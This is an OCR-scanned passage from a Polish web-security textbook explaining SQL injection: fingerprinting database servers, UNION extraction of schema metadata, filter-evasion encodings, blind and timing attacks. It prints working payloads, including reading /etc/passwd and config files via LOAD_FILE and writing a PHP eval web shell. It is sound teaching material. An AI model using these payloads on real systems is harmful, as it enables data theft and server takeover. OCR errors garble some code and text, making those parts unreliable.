metody mogg stanowi¢ zabezpieczenie przez atakami metodg CSRF.

e Sprawdzanie wartosci nagtéwka REFERER zawierajgce adres zasobu, z ktérego
nastgpito przekierowanie — nie gwarantuje jednak bezpieczenhstwa, poniewaz
agresor ma wpltyw na wartos¢ nagtdwkéw Zzgdan tworzonych za pomocag
JavaScript (metoda setRequestHeader ().

e Uzycie formularzy wysytanych metodg POST zamiast GET majgce utrudni¢
preparowanie zgdan. Wysylanie zgdan HTTP metodg POST jest trudniejsze,
jednak nie jest niemozliwe. Jezyk JavaScript dysponuje bowiem sposobami
komunikacji z zewnetrznymi serwerami, wykorzystujgce metode POST przestania
zadan (tabela 4.4).
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4.4. WSTRZYKNIECIE KODU SQL

Istota i klasyfikacja atakow SQL Injection

Ataki polegajgce na wykonaniu wrogiego kodu SQL (ang. SQL Injeciton) sg wyjgtkowo
grozne. Pozwalajg one na ominiecie mechanizmow uwierzytelnienia, nieautoryzowane
pozyskanie, modyfikacje danych oraz ich struktury, wykonanie polecen systemowych,
realizacje operacji na plikach, kradziez plikéw Zzrédtowych oraz wiele innych
niebezpiecznych dziatan (na przyktad zmuszenie serwera bazy danych do wykonania
bardzo pracochifonnej operacji). W najogolniejszym rozumieniu ataki takie polegajg na
wykonaniu przez serwer bazy danych niezweryfikowanego kodu dostarczonego przez
klienta (Well, 2008). Istnieje wiele rodzajéow i podziatow technik zwigzanych
z wstrzyknieciem SQL. Probe ich klasyfikacji przedstawiono w tabeli 4.5.

Mozliwos¢ takiego ataku zwigzana jest z tym, ze dane z formularzy
wykorzystywane sg w aplikacji jako parametry zapytan do bazy danych. Szablony tych
zapytan w trakcie dziatania aplikacji sg uzupetniane o dane wprowadzone przez
uzytkownika. Odpowiednio spreparowane dane (przy braku kontroli — filtrowania)
mogg zaktoci¢ zapytanie, poprzez dodanie do niego kodu SQL przygotowanego przez
agresora. Typowym przyktadem jest takie spreparowanie danych by zapytanie:
SELECT * FROM pracownicy WHERE pracownik = 'milosz'
zmienito sie w zapytanie zwracajgce wszystkie rekordy z tabeli pracownicy:

SELECT * FROM pracownicy WHERE pracownik = 'milosz' OR '1l'='1l"'.
Zapytanie takie nie tylko spowoduje uzyskanie przez agresora wszystkich danych
o pracownikach, ale tez przy duzej liczbie rekordow silnie obcigzy serwer bazy danych

i tgcze sieciowe.
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Tabela 4.5. Zestawienie mozliwych metod komunikacji jezyka JavaScript z serwerami

Zawartos¢

Ekstrakcja danych

Dodanie lub modyfikacja
danych

Przeprowadzenie ataku
DoS

Unikniecie wykrycia

Obejscie
uwierzytelniania

Wykonywanie zdalnych
polecen

Dokonanie zmiany
uprawnien

Parametry - I
klasyfikacyjne Metody Techniki / wdrazanie
Identyfikacja
wstrzykiwanych
parametrow

Patrz: Rodzaje atakow

Zrédto wejscia

Wstrzykniecie poprzez
wejscie uzytkownika

Ztosliwe znaki w Adres URL (GET)

formularzach Upload plikow (POST)

Wstrzykniecie przez
cookies

Modyfikacja cookie

Wstrzykniecie przez
zmienne serwera

Zmanipulowanie nagtéwkoéw, aby zawieraty
wstrzykniecia

Wstrzykniecie wtérne

Aplikacja podstawowa bazujgca na czestotliwosci

Aplikacja wtérna bazujgca na czestotliwosci

Powtdérne wsparcie aplikacji

Aplikacja kaskadowego podporzgdkowania

Rodzaje atakow
(aspekt
techniczny)

Klasyczne wstrzykniecie
SQL

Doklejone dane

Tautologie

Tozsamosci semantyczne

Nielegalne/nielogiczne zapytania

Dotgczenie przez operator UNION

Wstrzykniecia do procedur sktadowanych

Interfejs

Warunkowe odpowiedzi

Warunkowo generowane
btedy

Slepe wstrzykniecia

Woyjscie poza zakres

Funkcje benchmarkowe /

Wstrzykniecia bazujgce op62nienia czasowe

na czasie wykonania

Zapytania wielokrotne

Specyficzne dla SZBD
wyrazenia

,Odciski palcow” BD

Mapowanie BD

Ztozone wstrzykniecia

Wstrzykniecia szybkiego przeptywu informacji

Zrédio: http://en.wikipedia.org/wiki/File:KD_SQLIA_Classification_2010.png
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Pozyskiwanie informacji o serwerze bazy danych

Informacja o stosowanym w aplikacji internetowej serwerze bazy danych umozliwia
skuteczne formutowanie zapytan. W zwigzku z tym, pierwszym krokiem napastnika
jest zwykle rozpoznanie, z jakim serwerem ma sie do czynienia. W tym celu
przewaznie wykorzystuje sie réznice w skfadni SQL, wystepujace w serwerach baz
danych. Przyktad takich réznic, czyli zapytania poprawne tylko na danym serwerze)

zawiera tabela 4.6. Oczywiscie roznic takich jest znacznie wiece;.

Tabela 4.6. Przykiadowe zapytania o unikalnej sktadni dla serweréw baz danych

Serwer Sktadnia
ORACLE SELECT CURRENT DATE FROM DUAL
MSSQL SELECT GETDATE ()
MySQL SELECT CURDATE ()
PostgreSQL SELECT TIMESTAMP

Zrédfo: opracowanie wtasne

W aplikacji podatnej na atak SQL Injection zapytania unikalne albo sie wykonajg
albo wygenerujg btad. Brak bledu wskazuje jednoznacznie na typ serwera bazy
danych. Przykladowe wstrzykniecie kodu SQL testujgcego serwer bazy danych,
widziane z poziomu interpretera PHP przedstawia listing 4.6. Zapytanie dla bazy
ORACLE wykona sie poprawnie, a dla wszystkich innych wygeneruje btad. Aplikacja

zareaguje na btad a agresor bedzie mogt ponowié test dla innej bazy.

Listing 4.6. Przyktadowe wstrzyknigcie kodu SQL testujgcego serwer bazy danych

$g = mysqgl query("SELECT * FROM articles WHERE article id ="
$ GET['id']);

// jeéli $ GET['id'] = "1 AND (SELECT CURREINT DATE FROM DUAL)"

// to $g = "SELECT * FROM articles WHERE article id=1

// AND (SELECT CURREINT DATE FROM DUAL)"

Zrédfo: opracowanie wtasne

Opisana technika pozwala na rozpoznanie dowolnego serwera bazy danych

i optymalizacje przysztych dziatan pod jego katem. Znajgc system bazy danych mozna
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wykona¢ juz konkretne polecenia dajgce wiekszg wiedze na temat atakowane;j
aplikacji. Listing 4.7 wybiera w okienku terminala aktualnego uzytkownika, baze
danych i wersje SZBD, a zwrécone wyniki prezentuje w formie tabeli.

Listing 4.7. Wyniki zapytania ujawniajgcego szczegoty serwera bazy danych

mysqgl> SELECT USER(), DATABASE (), VERSION();

o fmm fmm - +
| USER() | DATABASE () | VERSION/ () |
o fmm fmm - +
| root@localhost | test 5.1.54-1ubuntud |

1 row in set (0.00 sec)

Zrédfo: opracowanie wtasne

Zapytanie z listingu 4.7 zwraca informacje o uzytkowniku bazy danych, aktualne;
bazie danych oraz wersji serwera. Oczywiscie zapytanie takie nalezy zastosowac
w taki sposéb, by wyswietlito pozgdany wyniki na stronie WWW, czyli uzy¢ operatora
UNION i negacji wczesniejszego warunku (id=-1). Celem rozpoznania liczby kolumn,
atakujgcy moze uzupetnia¢ dodawany wiersz wynikéw wartoscig (lub wartosciami)
null (w celu otrzymania takiej samej liczby kolumn jak tabela wynikowa). Serwer
MySQL nie posiada Scistej kontroli typow, co znaczy ze dodawane komorki nie muszg
by¢ zgodne z oryginalng tabelg wynikowa (listing 4.8).

Listing 4.8. Dodanie nowego rekordu do tabeli wynikow poprzez wstrzykniecie SQL

-1 UNION (SELECT USER(), DATABASE(), VERSION(), null)

Zrédfo: opracowanie wtasne
Pozyskiwanie informacji o strukturze bazy danych

Posiadajgc juz podstawowe informacje na temat rodzaju i wersji serwera bazy danych,
nazwy uzytkownika oraz wybranej bazy, atakujgcy zechce sprawdzi¢, do jakich
danych ma dostep. W MySQL wersji wiekszej rownej 5.0 metadane o bazach danych,
tabelach, kolumnach itp przechowywane sg w wirtualnej bazie danych nazwane;j
INFORMATION SCHEMA. Zawiera ona m.in. interesujgce z punktu widzenia

bezpieczenstwa tabele (tabela. 4.7).
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Tabela 4.7. Opis tabel zawierajgcych metadane definiujgce struktury danych w MySQL

Nazwa Opis

SCHEMATA Zawiera informacje na temat dostepnych dla danego
uzytkownika baz danych. Omawiana wirtualna baza danych
INFORMATION SCHEMA jest opisywana zawsze jednym

z rekorddw tej tabeli, podobnie jak wszystkie inne bazy danych.

TABLES Zawiera informacje dotyczace tabel.

COLUMNS Zawiera informacje o kolumnach tabel we wszystkich bazach
(nazwa, typ, warto$¢ domysina itp) .

PRIVILEGES Zawiera uprawienia uzytkownika.

Zrédfo: opracowanie wtasne
W celu poznania nazw wszystkich baz danych, do ktérych uprawiony jest dany

uzytkownik, nalezy wydaé spreparowa¢ zgdanie zawierajgce parametr id (z listingu

4.6) o wartosci przedstawionej w listingu 4.9.

Listing 4.9. Wstrzyknigcie zapytania zwracajgcego liste dostepnych na serwerze baz danych

-1 UNION (SELECT null, null, (SELECT GROUP_CONCAT (SCHEMA NAME) FROM
INFORMATION SCHEMA.SCHEMATA) ,null)

Zrédfo: opracowanie wtasne

Zapytanie to (listing 4.9) w trzeciej kolumnie w tabeli wyswietli liste baz danych,
do ktorych ma dostep uzytkownik. Funkcja GROUP_CONCAT () tworzy tancuch znakow
ze wszystkich wartosci danego pola wiesza wyniku. Nazwy rozdzielone beda
przecinkami (domysine dziatanie funkcji GROUP_CONCAT () ).

Znajgc nazwy baz danych mozna bez trudu pozyskac¢ informacje opisujgce tabele
w konkretnych bazach oraz poszczegdlne kolumny w tych tabelach sie znajdujgce
(listing 4.10). Atakujgcy pozyska¢ moze takze informacje, czy uzytkownik ma dane

prawa — np. prawa zapisu plikdw na serwerze.
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Listing 4.10. Wstrzykniecie zapytania zwracajgcego liste dostepnych na serwerze baz danych

# Pobierz nazwy wszystkich dostepnych tabel w bazie test
SELECT GROUP_CONCAT (table name) FROM INFORMATION SCHEMA.TABLE WHERE
table schema = 'test';

#pobierz nazwy kolumn tabeli users
SELECT GROUP_CONCAT (COLUMN NAME) FROM INFORMATION SCHEMA.COLUMNS WHERE
TABLE NAME='users';

#pobierz globalne uprawnienia uzytkownika
SELECT PRIVILEGE TYPE FROM INFORMATION SCHEMA.USER PRIVILEGES;

Zrédfo: opracowanie wiasne

Baza danych INFORMATION SCHEMA posiada jeszcze szereg innych tabel
opisujgcych utworzong strukture bazodanowg na najwyzszym stopniu szczegoto-
wosci. Umozliwia to doktadne odwzorowane petnej struktury bazy danych i utworzenie
jej lustrzanej kopii u atakujgcego, dzieki czemu moze on planowa¢ dalszy atak bez
budzenia podejrzen administracji serwisu (np. na skutek przypadkowych zmian

danych). Przyktad wydobycia danych przedstawia rysunek 4.9.

C' | @ view-source rzepisy. phpTid=338%20AN0%201=0% 17 | @ 7| N
[ Pasekzaktadek B [ dyplom  1F 1 Bezptatny Formularz ... () Waory wizytéwek 2 « .. || 98098- | zoom | digar... 2%
244 </ form: |
245 </tablex</td> |
248 </ trx
247 <Lr>
248 <tdr<table border='0' cellpadding='0' cellspacing='0' width='100%'><tr><td

align="'left' walign='top'><table border='0' cellpadding='0' cellspacing='0"'
style='margin: 10px Opx Opx Opx;'><tr><td

height=25><b>Preepisyvenbsp; :</b>&nbsp:<a

href='przepisy.php' >Kuchnie</a>&nbsp; &ragquo; énbsp: <a href='przepisy.php?
cat=2'rKuchnia japohska</aré&nbsp; &racgquo; &nbsp;<a href='przepisv.php?
cat=z&podcat=3'></a>&nbsp; &raquo; snksp; <span style='font-size:llpx;color:
#dd4411; font—

weight:bol

dr<tahle i '100%' height='100%' cellpadding='0' cellspacing='0"'><tr> =

248 <td height='45' style='padding-left:10px;font-size:lépx;font- lEl
weight:bold;color:#6F1001; ' colspan='Z2'>Pikantne krewetki po syczuatsku</tcds

am </ Er><tr>

251 <td height='20' colspan='2' style='padding-left:10px;padding-
right:10px;"'>

252 Czas prezygotowania: 20 minut

253 </rd>

254 </ LERCLEY

255 <td height='20' colspan='2' style='padding-left:10px;padding- iV|I

Rys. 4.9. Przyktad wydobycia informacji dostepnych tabelach

Zrédfo: opracowanie wiasne
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Nalezy nadmieni¢ réwniez, Ze wydobycie danych 2z wirtualnej bazy
INFORMATION SCHEMA mozliwe jest dla kazdego zalogowanego uzytkownika
systemu bazy danych, co sprawia, Zze nie ma mozliwo$ci ograniczenia dostepu do niej,
przez co zagrozenie nabiera charakteru uniwersalnego i wystepuje w kazdej aplikacji
wykorzystujgcej baze danych MySQL. Inne systemy bazodanowe posiadajg bardzo
podobne mechanizmy metadanych.

Innym sposobem uzyskania informacji o strukturze bazy danych jest wywotanie
btedu poprzez zatrucie parametru wejsciowego znakiem specjalnym. Jezeli progra-
mista nie wylgczyt komunikatéw bteddw w wersji produkcyjnej oprogramowania
spodziewa¢ sie mozna zblizonego komunikatu jak na rysunku 4.10. Szerszy opis

wycieku informacji znajduje sie w rozdziale 3.

CIMySOL Fatal Errar - Mozilla Hrefox

Pl Edycja tidok Historia Zaktadk Marzedzia Pomoc

- Q- o L heep e findfcalina, html
[ nasea-kasapl- sron... [0 Preerqbane forum o H... (50 Pandemicpl | Grupy .. (P ForamPL:: | ] Lubelskic Forum Regg... | 2] digart [l maxmodels plmodelk,... [L Agroma - System Ewid... [oi
| ] ADSL2+/Broadband Router | '] Seriptographer org - Download [E3 Facebook | Pandemic - Event & Booking Ortofon Pro 5 igta do whitadki - pordwn

MySQL Error!

The Error returned uas:
¥ou have an ervor in your $QL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') ORDER BY FIELDGd )’ at line 1

Ervor Hurnber:
1064

SILECT SOL_NO_CACHE id, autor, dle post.date AS
nevsdate, dle post.date S date, short_story AS
story, dle post.xfislds % xfislds, title, desex,
keywords, category. alt_name, gomm num A3

cont_in news, allow comw, rating, news_read, flag,
editdare, editor, reason, view edit, tags, ' iS
output comms FRON dls post WHERE id IN ()] ORDER BY
FIELD {id, )

Rys. 4.10. Wyciek informacji o btedzie zdradzajgcy szczegdty struktury bazy danych
Zrédfo: opracowanie wtasne

Operatory SQL i tozsamosci semantyczne

Jezyk SQL - tak jak kazdy jezyk programowania — stworzony jest wedtug Scistych
zasad. Posiada on m.in. dobrze znane operatory logiczne, funkcje operacji na ciggach
znakow, komentarze czy polecenia tgcznia rekordéw. Wszystkich tych elementéw
programisci SQL uzywajg do tworzenia skomplikowanych zapytan. Niestety moga by¢

one rowniez narzedziem hakeréw, poniewaz wykorzystane w sposob niewlasciwy
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umozliwiajg manipulacje oryginalnym zapytaniem. Tabela 4.8 przedstawia i opisuje

najbardziej przydatne hakerom operatory w srodowisku MySQL.

Tabela 4.8. Opis tabel zawierajgcych metadane definiujgce struktury danych w MySQL

Operator / Polecenie

Dziatanie

Znaki reprezentujgce literaty — stosuje sie je do
wykrycia podatnosci na SQL Injection.

OR 1=1 WyrazZenie sprawia, ze uzyty w klauzuli WHERE

'OR 1="'1 warunek zawsze jest prawdziwy (pod warunkiem

"OR 1="1 podatnosci na SQL Injeciton). Ma zastosowanie
m.in. w atakach na niezabezpieczone panele
logowania - . WHERE LOGIN='admin' OR
1="1"...

AND 1=0 Warunek sprawi, ze wyrazenie WHERE zawsze

' AND 1='0 bedzie fatszywe.

" AND 1="0

EXIST ID AND {expr}
EXIST ID' AND {expr} OR

Wyswietli wynik, tylko jezeli wyrazenie {expr}
zdefiniowane przez atakujgcego bedzie prawdziwe
(przydatne w tzw. $lepych atakach). EXIST ID musi
by¢ warto$cig istniejgcg w tabeli.

UNION, UNION ALL

Powoduje stworzenie sumy zbioréw - przydatne przy
projekcji danych na podatnej stronie.

#, /*’ _

Znaki komentarza umozliwiajg zakonczenie
zapytania w dogodnym dla atakujgcego momencie.

oe

Zastepuje odpowiednio: dowolng ilo§¢ znakéw lub
jeden znak.

LIKE '{wyr}'
REGEXP '{wyr}'

Operatory umozliwiajg wyszukanie danych
na podstawie wzorca.

INSERT, UPDATE,
DELETE, REPLACE,
DROP, ALTER

Polecenia DML dajg mozliwos¢ operacji na danych.

Zrédfo: opracowanie wtasne

Dla serwera bazy danych MySQL te samg warto$¢ zapisaé mozna na kilka
réznych sposobow — np. liczbe w réznych systemach: binarnym, 6semkowym,
dziesiethym czy szesnastkowym. Podobnemu zjawisku podlegajg réwniez literaty.
Mozliwos¢ zapisania tych samych danych na r6zne sposoby nazywa sie tozsamoscia
semantyczng (Well, 2008). Tabela 4.9 przedstawia sposéb zapisu liczby dziesietnej

na kilka innych sposobdw.
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Tabela 4.9. Zapis liczby dziesietnej w MySQL

Zapis Znaczenie
111 Zapis w systemie dziesietnym (liczba oryginalna)
0157 Zapis w systemie dsemkowym
110+1 Zapis jako wyrazenie matematyczne

MOD(111,112)

Zapis jako wyrazenie

REPEAT (1, 3)

Zapis jako powtdrzenie 3 razy liczby jeden

'111"

Zapis jako tancuch znakéw

CONCAT (1,1,1)

Ztgczenie 3 cyfr

0x6£f+0, X'6£f'+0

Zapis liczby szesnastkowo

0b1101111+0, b'1101111'+0
Zrédio: (Well, 2008)

Zapis liczby binarnie

Aplikacje internetowe bronig sie przed atakami SQL Injeciton poprzez walidacje
i filtracje danych wejsciowych. Hakerzy idg jednak krok dalej i formutujg wstrzykniety
kod tak, aby nie miat podejrzanej formy i nie budzit "zastrzezen" aplikacji. Tabela 4.10
przedstawia przyktady obejscia popularne wsréd niedoswiadczonych programistéw
zabezpieczenia.

Przytoczone przyktady (tabela 4.10) pozwalajg na zycie znakoéw specjalnych
w sposob niewidoczny dla interpretera jezyka skryptowego (np. PHP). Dzieki temu
wprowadzane parametry przechodzg skutecznie przez Zle zorganizowane mechaniz-
my ochronne. Przyktad takiego niepoprawnego, aczkolwiek czesto stosowanego,

zabezpieczenia przedstawiono na listingu 4.11.

Listing 4.11. Pozome zabezpieczenie przez wstrzyknieciem kodu SQL

Sparam = addslashes($ GET['id']);
$q = mysgl query("SELECT * FROM users WHERE id=S$param");

Zrédfo: opracowanie wtasne

Kod przedstawiony w listingu 4.11 zabezpiecza przed SQL Injection
w ograniczonym zakresie, a konkretnie przed mozliwoscia wprowadzenia apostrofa
i innych znakoéw specjalnych. By obejs¢ to zabezpieczenie wystarczy uzy¢ sktadni

reprezentujgca fancuch znakéw w postaci szesnastkowej — tak jak na listingu 4.12.
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Tabela 4.10. Praktyczne tozsamosci semantyczne

Wyrazenie Dziatanie

/*x*/ Zastepuje parserowi znak biaty jak spacja. Przydane, kiedy
np. wyszukiwarka dzieli fraze na pojedyncze stowa, a
podstawie ktorych buduje zapytania celem optymalizaciji
SQL.

'OR'1'='1 Jak wyzej - apostrofy mozna pisa¢ bezposrednio po
operatorach.

Znak nowej linii, tabulacja, powrd6t | Jak wyzej - znaki biate zastepujg parserowi spacje.
karetki

CONCAT (exprl, expr2) taczy w wyrazenia exprl i expr2 w jedno, ktére moze
znajdowac sie na czarnej liscie.

CHAR (39) Funkcja zwraca apostrof ('), ale wyrazenie nie jest
rozpoznawane przez walidator.

0x27, X'27"' J/w, zapis szesnastkowy

0b100111, b'100111" J/w, zapis binarny

0x2F6574632F706173737764 | Zapisany szesnastkowo cigg znakéw: /etc/passwd
odpowiadajgcy systemowemu plikowi uzytkownikow w
systemach UNIX.

&#x31; &#x20; &#x55; &#x4E; & | Zapis kodu wstrzykniecia w postaci szesnastkowej w URI
#x49; &#x4F; & #x4E; &#x20; &#
x53; &#x45; &#x4C; &#x45; &#x
43;&#x54; 6#x20; &#x41; &#x4
C; &#x4C; &#x20; &#x46; &#x52
;EHXAT; &#x4D; &#x20; &#x57;
&#x48; &#x45; &#x52; &#x45;

MSBVTk1PTiBTRUxFQ1QgQUxMI | Zapis kodu wstrzykniecia zakodowany w formacie BASE64
EZST00gVOhFUkU=

&#49&#326&#856&#786&#736#796& | Zapis kodu wstrzykniecia w postaci dziesietnej
#78&#32&#836#696#70&#696#
676#846#326#65&#76&#76&#3
26#70&#828&#798#77&#32&#87
&H#T726#696#826#6

Zrédfo: (Well, 2008)

Przytoczony przyktad (listing 4.12) pobierze z bazy danych wszystkie dane
uzytkownika posiadajgcego sprecyzowany email. Wrazenie ID=-1 jest zawsze
fatszywe wiec operator OR w potgczeniu z warunkiem wyszukania adresu email
wskazie serwerowi bazy danych czyje dane chce sie¢ wydoby¢. Uzycie funkcji

addslashes () nie przyniosto zadnego efektu, poniewaz nie odnalazia znakéw
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specjalnych ktére mogtaby przeksztatci¢. Wszystkie znaki przekazane w parametrze

wejscia byty dozwolone i umozliwity obejscie pozornie poprawnego zabezpieczenia.

Listing 4.12. Obejécie zabezpieczenia funkcji ucieczki addslashes ()

# email ofiary - admin@server.pl
HEX ("admin@server.pl") = 0x61646D696E407365727665722E706C ;
# wartos$é¢ parametru id
$ GET['id'] = "-1 OR
user email=0x61646D696E407365727665722E706C"
# przejscie przez funkcje addslashes() nie przynosi efektoéw:
SELECT * FROM users WHERE user id=-1 OR user email=
0x61646D696E407365727665722E706C

Zrédfo: opracowanie wtasne

Przyktad wykorzystania tozsamosci semantycznej do ataku na serwery firmy IBM
przedstawia rysunek 4.11.

‘n zearcher.ibm.com;’ B L +and+1=0+union+all+select+1,2,3,4,load_file{0x2f6574632f706173737764),6,7,8,9,

Fisier Edtare \zuslizare Istoric  Semne decarte  Unelte  Ajutor

@ - c (R I'._-]mView-snurce:https:J‘,irasaarchar‘ibm.comwntﬂ1=D+un\on+a||+se|ect+1J2,3,4,\0ad_filet

l_-] https:f,n"researcher.ihm.cumfresearc...| -
<title>##
User Datshase

Hote that this file is consulted directly only when the system is running
in single-user mode. At other times this information is provided by
Cpen Directory.

This file will not he consulced for authentication unless the BESD local node
is enabled via /Applications/Utilities/Directory Utility.app

See the DirectoryService(8) man page for additional information sbhout
Open Directory.

B3R O

#E
nobody: *:-2Z:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:3ystem Adwinistrator:/var/root:/binfsh
daemon: *:l:1:3ystem Services:/var/root:/usr/bin/false
uucp: T:4:4:0Unix to Unix Copy Protocol:/var/spool/uucp:/usr/shin/uucico

Rys. 4.11. Przyktad zastosowania tozsamo$ci semantycznej w celu uzycia nazwy pliku bez
apostrofow — atak bufgarskiego hakera na serwery IBM

Zrédio: http://niebezpiecznik.pl/post/ibm-pokonany-przez-sql-injection/

Operacje na plikach w SQL

Serwer MySQL poza standardowymi poleceniami jezyka SQL obstuguje takze gamme
innych charakterystycznych dla swojego srodowiska komend. Z punktu widzenia
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bezpieczenstwa wyrézni¢ mozna pewne polecenia moggc dokonywal operacji na
systemie plikow serwer. W mysl twércow MySQL sg to polecenia majgce utatwic
transfer informacji miedzy system plikow a bazg danych. Umozliwiajg one m.in. zapis
wierszy wyniku do zewnetrznego pliku, by potem mdc dokonywaé dalszych operacii
postugujgc sie wczesniej wydobytymi danymi. Dostep do systemu plikéw pozwala tez
na zatadowanie do pola tabeli pliku (np. zdjecia lub ditugiego tekstu). Tabela 4.11.
przedstawia zestawienie funkcji dostepu do plikow w MySQL.

Tabela 4.11. Sktadnia polecen i funkcji umozliwiajgcych dostep do plikow w MySQL

Skladnia Operacja Opis

LOAD FILE (nazwa) Odczyt Funkcja zwracajgca fancuch znakéw
reprezentujgcy zawartos¢ pliku podanego
W argumencie nazwa.

LOAD DATA INFILE nazwa Odczyt Wyrazenie powodujgce zatadowanie danych

INTO TABLE tabela z pliku nazwa do wskazanej daje tabeli
tabela. Kompatybilne z OUTFILE.

SELECT ... INTO DUMPFILE |Zapis Wyrazenie zapisuje warto$¢ z pierwszej

nazwa komorki tabeli wynikéw (pierwszy wiersz,
pierwsza kolumna) do pliku nazwa.

SELECT ... INTO OUTFILE |Zapis Wyrazenie zapisuje wszystkie dane tabeli

nazwa wyniku do pliku wyj$ciowego nazwa.

Kompatybilne z INFILE.

Zrédfo: opracowanie wtasne

Operacje na plikach odbywajg sie na prawach dostepu uzytkownika bedgcego
wilascicielem demona MySQL. Aby méc dokonywaé operacji na plikach, uzytkownik
bazy danych musi spetni¢ nastepujgce warunki:

1) zalogowac sie do serwera bazy danych,

2) uzyskac uprawnienie globalne file priv pozwalajgce na dokonywanie operaciji
na plikach,

3) wybra¢ lokalizacje plikéw, do ktorej uprawniony jest uzytkownik systemowy
bedacy wtascicielem demona MySQL;

4) w przypadku uzycia dyrektywy secure-file-priv operacje na plikach
ograniczone sg do przypisanego do niej katalogu.

Zastosowanie procedur zapisu i odczytu plikbw daje atakujgcemu bardzo wiele
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mozliwosci przejecia kontroli nad system informatycznym lub pozyskania danych
pierwotnie niedostepnych. Agresor moze uzy¢ opisywanych operacji w celu odczytu
plikow zrodtowych, do ktérych dostepu broni parser jezyka skryptowego PHP (lub
inny). Instrukcja z listingu 4.13 spowoduje zapis przyktadowego pliku konfiguracyjnego
z hastami bazy danych do ogdlnodostepnego pliku z znajdujgcego sie w katalogu

publicznym serwera:

Listing 4.13. Funkcje operacji na plikach jako proxy dostepu do Zrodet

SELECT LOAD FILE ('/home/www account/system/config/mysqgl.php') INTO
DUMPFILE '/home/www account/public html/config.txt'

Zrédfo: (tawicki, 2010)

Przyktad z listingu 4.13 ma szczegdlne znacznie, kiedy podstrona podatna na
wstrzykniecia SQL nie stuzy projekcji danych i nie ma mozliwos¢ ich wyswietlenia
w zawartosci odpowiedzi serwera HTTP. W przeciwnym wypadku do wyswietlenia
zawartosci pliku Zrédtowego wystarczy uzy¢ operatora UNION ALL tworzgcego sume

zbioréw wierszy wyniku (listing 4.14).

Listing 4.14. Dodanie pliku Zrédtowego do wiersza wynikow

# wartos¢ -1 parametru id oznacza, zZe pierwotny warunek zawsze

# bedzie falszywy, przez co w odpowiedzi znajdzie sie jedynie

# interesujacy agresora rekord

$7GET['id'] = "-1 UNION ALL SELECT null, null, (SELECT

LOAD FILE ('/home/www account/system/config/mysqgl.php')), null"

# przejscie przez funkcje addslashes nie przynosi efektoéw:

SELECT * FROM users WHERE user id=-1 UNION ALL SELECT null, null,
(SELECT LOAD FILE('/home/www account/system/config/mysgl.php')), null

Zrédfo: opracowanie wtasne

Oczywiscie zamiast funkcji LOAD FILE () atakujgcy postuzy¢ sie moze literatem
zawierajgcym kod wykonywalny, ktéry zostanie zapisany do pliku wykonywalnego
* . php. Tak przygotowana komenda pozwoli na wykonanie dowolnego kodu przeka-
zanego w parametrze GET o nazwie c, co réwnoznaczne jest z kontrolg aplikacji.

Listing 4.15 przedstawia przyktad zastosowania takiego zapytania.
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Listing 4.15. Zapis pliku wykonywalnego przez serwer bazy danych

SELECT '<? eval ($7GET ["c"]);?>" INTO DUMPFILE
' /home/www_account/public html/eval.php'

Zrédfo: opracowanie wtasne

Nie ulega watpliwosci, ze ten rodzaj atakow SQL Injection jest szczegdlnie
grozny i moze doprowadzi¢ nie tylko do przejecia kontroli nad aplikacjg internetows,

ale i catym systemem informatycznym na skutek mozliwosci zapisu dowolnego pliku.

Blind Injection

Terminu Slepe wstrzykniecie (ang. Blind Injection) uzywa sie wéwczas, gdy podatna
na atak witryna nie moze wygenerowa¢ danych, ktére pozadane sg przez
atakujgcego. Najczesciej uzywa sie jej w serwisach, ktére wytgczone majg komunikaty
btedéw, nie oferujg projekcji danych w kodzie wynikowym lub na skutek zawitosci
semantycznej nie da sie spreparowac¢ skutecznie kodu wstrzykniecia. Méwigc innymi
stowy agresor jest w stanie wykona¢ wtasny kod SQL, lecz zbidér wartosci jego wyniku
ogranicza sie do logicznego PRAWDA/FALSZ. Taki rodzaj ataku mozna opisa¢ jako
funkcje zamieniajgcg kod SQL przekazany w parametrze do aplikacji na dane ze
zbioru {1, 0}, ktére mozna odczyta¢ na podstawie zachowania testowanej strony:

e jezeli warunek jest prawdziwy, strona przybierze "normalng" postac,
a w przeciwnym wypadku nie zwroci zadnych wynikow,

e strona zataduje sie z normalng szybkoscig w przypadku fatszywosci zapytania lub
czas jej tadowania bedzie kilkakrotnie dituzszy w razie sukcesu (t3 kolejnosc
wymusza optymalizacja pod kgtem opoznien).

W pierwszym przypadku zastosowaé mozna operatory logiczne OR lub AND,

awdrugim tzw. funkcje benchmarkowe, stosowane do testow wydajnosci.

W omawianej technice Blind Injeciton, funkcje benchmarkowe majg za zadanie

wykona¢ bardzo duzg ilos¢ razy dowolne polecenie celem opdznienia odpowiedzi

serwera MSQL, co przeniesie sie na czas odpowiedzi zwroconej przez serwer HTTP.
W zwigzku z tym, Zze zbidr odpowiedzi ograniczony jest do 2 wartosci, pytanie

przekazywane w kodzie SQL powinien no mie¢ binarng odpowiedz. Pytanie brzmi,
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jakie dane mozna uzyska¢ zadajgc pytanie, na ktére odpowiedz to TAK lub NIE
(tzw. pytanie zamkniete)? Odpowiedz jest prosta: dowolne. Tabela 4.12 ukazuje
przyktady wydobycia danych r6znego rodzaju za pomocg odpowiednio zadawanych
pytan.

Tabela 4.12. Sposoby pozyskania danych przez pytania zamkniete

Pytanie otwarte Pytanie zamkniete (odpowiedz: tak/nie) Typ danych

Jaka jest pte¢? Czy ptec to mezczyzna? Logiczne
TAK: @Ptec=Mezczyzna
NIE: @Pte¢=Kobieta

lle masz lat? Krok 1: Liczba
@i =0;

Krok 2:

Czy masz @i lat?
TAK: wiek = @i
NIE: @i=@i+1

Powrét do kroku 2

Jak masz na imie? Krok 1: Znak / Cigg znakéw
@i =0;

Krok 2:

Czy twoje imie ma @i znaki?

TAK: @dtugosc=@i

NIE: @i = @i+1 powrdt do kroku 2;
Krok 3:

@i=1,

Krok 4:

czy @i>@dtugosc?

TAK: znaleziono imie

NIE:

Czy litera na pozycji @i to A?

TAK: imie[@i] = A

NIE: Czy litera na pozycji @i to B?
TAK: imie[@i] = B

NIE: Czy litera na pozycji @i to C?
TAK: imie[@i] = C

@i = @i+1;

powrd6t do kroku 4.

Zrédfo: opracowanie wtasne

Wszystkie tego typu zapytania mozna zapisa¢ za pomocg operatoréw i funkciji
MySQL. W celu automatyzacji procesu mozna sie postuzyé dowolnym jezykiem

programowania umozliwiajgcym wystanie i odbior zgdan HTTP(S).
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Funkcje benchmarkowe SQL mogg by¢é wykorzystane do automatyzacji
wykrywania poprawnosci wykonania lub nie zapytania. Listing 4.16 zawiera instrukcje
w skrypcie, ktéra spowoduje Ze czar odpowiedzi serwera w przypadku poprawnego
